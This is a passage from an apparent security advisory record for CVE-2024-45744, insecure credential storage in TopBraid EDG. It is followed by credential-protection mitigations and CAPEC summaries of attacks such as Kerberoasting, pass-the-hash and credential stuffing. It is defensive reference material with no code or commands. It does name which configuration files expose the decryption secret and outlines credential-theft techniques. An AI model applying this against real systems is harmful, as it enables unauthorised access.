"nvd_published_at": "2024-09-27T16:15:04Z",
"severity": "LOW"
},
"details": "TopQuadrant TopBraid EDG stores external credentials insecurely. An authenticated attacker with file system access can read edg-setup.properites and obtain the secret to decrypt external passwords stored in edg-vault.properties. An authenticated attacker could gain file system access using a separate vulnerability such as CVE-2024-45745.\u00a0At least version 7.1.3 is affected. Version 7.3 adds HashiCorp Vault integration that does not store external passwords locally.",
"id": "GHSA-8xf3-x93c-2ch6",
"modified": "2025-09-22T18:30:29Z",
"published": "2024-09-27T18:32:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45744"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2024/va-24-254-02.json"
},
{
"type": "WEB",
"url": "https://www.topquadrant.com/doc/latest/administrator_guide/edg_installation_and_authentication/hashicorp_integration.html"
},
{
"type": "WEB",
"url": "https://www.topquadrant.com/doc/latest/reference/PasswordManagementAdminPage.html"
},
{
"type": "WEB",
"url": "https://www.topquadrant.com/release-note/7-3"
},
{
"type": "WEB",
"url": "https://www.topquadrant.com/wp-content/uploads/2025/02/changes-8.3.0.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.